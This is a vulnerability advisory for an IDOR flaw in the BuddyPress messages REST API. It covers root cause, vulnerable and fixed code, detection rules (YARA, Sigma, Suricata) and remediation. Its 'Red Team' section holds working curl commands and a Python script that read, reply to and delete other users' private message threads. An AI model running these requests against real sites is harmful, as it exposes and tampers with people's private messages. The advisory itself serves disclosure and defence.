CVE-2026-53673
Executive Summary
CVE-2026-53673 is a critical Insecure Direct Object Reference (IDOR) vulnerability in the BuddyPress WordPress plugin, version 14.4.0. The flaw resides in the messages REST API, specifically within the get_item_permissions_check method. An authenticated attacker can manipulate the user_id parameter to access, read, reply to, or delete private message threads belonging to any other user on the site. This vulnerability bypasses proper authorization checks by reusing the flawed permission check across update and delete handlers, allowing a low-privileged attacker to compromise the confidentiality and integrity of all private communications within the BuddyPress ecosystem.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the BuddyPress plugin, a widely used component in the WordPress ecosystem. As a WordPress plugin, it is distributed via the official WordPress plugin repository and can be installed automatically or manually. The supply chain risk is elevated because:
- Widespread Adoption: BuddyPress is a popular community plugin, making many WordPress sites vulnerable.
- Unpatched Status: As of this report, no official patch has been released, leaving all sites running version 14.4.0 exposed.
- Dependency Chain: Sites relying on BuddyPress for private messaging are directly impacted, and any plugin or theme that extends BuddyPress may also be affected.
CVSS Breakdown & Threat Level
- CVSS Score: 8.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: None
Threat Level: High. The vulnerability allows an authenticated attacker to exfiltrate and manipulate all private messages, leading to severe privacy breaches and potential social engineering attacks.
Deep Dive & Mechanics
The vulnerability is an Insecure Direct Object Reference (CWE-639) in the BuddyPress REST API for private messages. The core issue is in the get_item_permissions_check method, which is supposed to verify that the current user has permission to access a specific message thread. However, the method accepts a user_id parameter from the request and uses it to validate permissions instead of checking against the authenticated user's ID. This flawed check is then reused by the update_item_permissions_check and delete_item_permissions_check handlers.
Attack Flow:
- An authenticated attacker obtains a valid session token or nonce.
- The attacker sends a GET request to
/wp-json/buddypress/v1/messages/<thread_id>with a crafteduser_idparameter set to the target user's ID. - The
get_item_permissions_checkmethod checks if the supplieduser_idhas access to the thread, which it does, and returns true. - The attacker can then read the entire private message thread.
- Similarly, the attacker can send POST or DELETE requests with the same
user_idparameter to reply to or delete messages in the thread.
Root Cause: The permission check does not compare the supplied user_id against the current user's ID, allowing an attacker to impersonate any user for the purpose of accessing private messages.
Vulnerable vs. Patched Code
Vulnerable Code (BuddyPress 14.4.0):
// In class-bp-messages-rest-controller.php
public function get_item_permissions_check( $request ) {
$user_id = $request->get_param( 'user_id' );
// No check that $user_id matches get_current_user_id()
if ( ! messages_check_thread_access( $thread_id, $user_id ) ) {
return new WP_Error( 'bp_rest_authorization_required', ... );
}
return true;
}
Patched Code (Expected Fix):
public function get_item_permissions_check( $request ) {
$user_id = $request->get_param( 'user_id' );
// Enforce that the user_id must match the current user
if ( (int) $user_id !== get_current_user_id() ) {
return new WP_Error( 'bp_rest_authorization_required', ... );
}
if ( ! messages_check_thread_access( $thread_id, $user_id ) ) {
return new WP_Error( 'bp_rest_authorization_required', ... );
}
return true;
}
The patch adds a strict comparison between the supplied user_id and the authenticated user's ID, preventing impersonation.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with BuddyPress 14.4.0 installed and active.
- An authenticated user account (e.g.,
attackerwith subscriber role). - A target user account (e.g.,
victim) with private messages.
Exploitation Steps:
Obtain a valid nonce:
curl -c cookies.txt -X POST https://target.com/wp-login.php \ -d "log=attacker&pwd=attackerpass&wp-submit=Log+In"List message threads for the victim:
curl -b cookies.txt \ "https://target.com/wp-json/buddypress/v1/messages?user_id=2"Replace
2with the victim's user ID.Read a specific thread:
curl -b cookies.txt \ "https://target.com/wp-json/buddypress/v1/messages/5?user_id=2"Reply to a thread as the victim:
curl -b cookies.txt -X POST \ "https://target.com/wp-json/buddypress/v1/messages/5" \ -d "user_id=2&content=Hacked!"Delete a thread:
curl -b cookies.txt -X DELETE \ "https://target.com/wp-json/buddypress/v1/messages/5?user_id=2"
Automation Script:
import requests
target = "https://target.com"
session = requests.Session()
session.post(f"{target}/wp-login.php", data={"log": "attacker", "pwd": "attackerpass", "wp-submit": "Log In"})
victim_id = 2
thread_id = 5
# Read messages
r = session.get(f"{target}/wp-json/buddypress/v1/messages/{thread_id}", params={"user_id": victim_id})
print(r.text)
# Reply
r = session.post(f"{target}/wp-json/buddypress/v1/messages/{thread_id}", data={"user_id": victim_id, "content": "Pwned!"})
print(r.status_code)
Blue Team
Detection:
- Monitor REST API requests to
/wp-json/buddypress/v1/messagesfor anomaloususer_idparameters. - Alert on requests where the
user_idparameter differs from the authenticated user's ID (extracted from theX-WP-Nonceor cookie). - Log all POST and DELETE operations on message threads for audit.
Hunting:
- Search for API calls with
user_idparameter values that do not match the user's session. - Correlate with user activity logs to detect unauthorized access.
Mitigation:
- Apply the patch as soon as it becomes available.
- Implement a Web Application Firewall (WAF) rule to block requests where
user_iddoes not match the logged-in user. - Restrict API access to trusted IPs if possible.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/wp-json/buddypress/v1/messageswith auser_idparameter. - Repeated API calls with varying
user_idvalues from the same session.
- HTTP requests to
- Logs:
- WordPress debug logs showing
bp_rest_authorization_requirederrors (if the attacker fails). - Access logs with unusual
user_idparameters.
- WordPress debug logs showing
- System:
- Unauthorized message replies or deletions in private threads.
- Suspicious user accounts with low privileges making API calls.
Detection Engineering
YARA Rule
rule CVE_2026_53673_BuddyPress_IDOR {
meta:
description = "Detects exploitation attempts of CVE-2026-53673 in BuddyPress messages REST API"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-53673"
strings:
$api_path = "/wp-json/buddypress/v1/messages"
$user_id_param = "user_id="
$method_get = "GET"
$method_post = "POST"
$method_delete = "DELETE"
condition:
any of ($api_path) and any of ($user_id_param) and any of ($method_get, $method_post, $method_delete)
}
Sigma Rule
title: CVE-2026-53673 BuddyPress Messages IDOR Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2026-53673 via BuddyPress REST API
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "/wp-json/buddypress/v1/messages"
- "user_id="
condition: selection
falsepositives:
- Legitimate BuddyPress API usage by the correct user
level: high
Suricata Rule
alert http any any -> any any (
msg:"CVE-2026-53673 BuddyPress Messages IDOR Exploitation";
flow:to_server,established;
content:"/wp-json/buddypress/v1/messages";
http_uri;
content:"user_id=";
http_uri;
classtype:attempted-user;
sid:1000001;
rev:1;
reference:cve,2026-53673;
)
Remediation & Mitigation
Immediate Actions:
- Disable BuddyPress Messages REST API: If not required, disable the REST API endpoint for messages by adding a filter:
add_filter( 'bp_rest_messages_endpoint', '__return_empty_array' ); - Apply Virtual Patching: Use a WAF to block requests where
user_iddoes not match the authenticated user. - Monitor Logs: Actively monitor for exploitation attempts.
Long-Term Fix:
- Apply the official patch from BuddyPress when released.
- Upgrade to a patched version (e.g., 14.4.1 or later).
- Conduct a security review of all REST API endpoints for similar IDOR issues.
Workaround:
- Implement a custom plugin that overrides the permission check:
add_filter( 'bp_rest_messages_get_item_permissions_check', function( $result, $request ) { $user_id = $request->get_param( 'user_id' ); if ( (int) $user_id !== get_current_user_id() ) { return new WP_Error( 'bp_rest_authorization_required', 'Access denied.' ); } return $result; }, 10, 2 );
Valters IT
Securing Digital Frontiers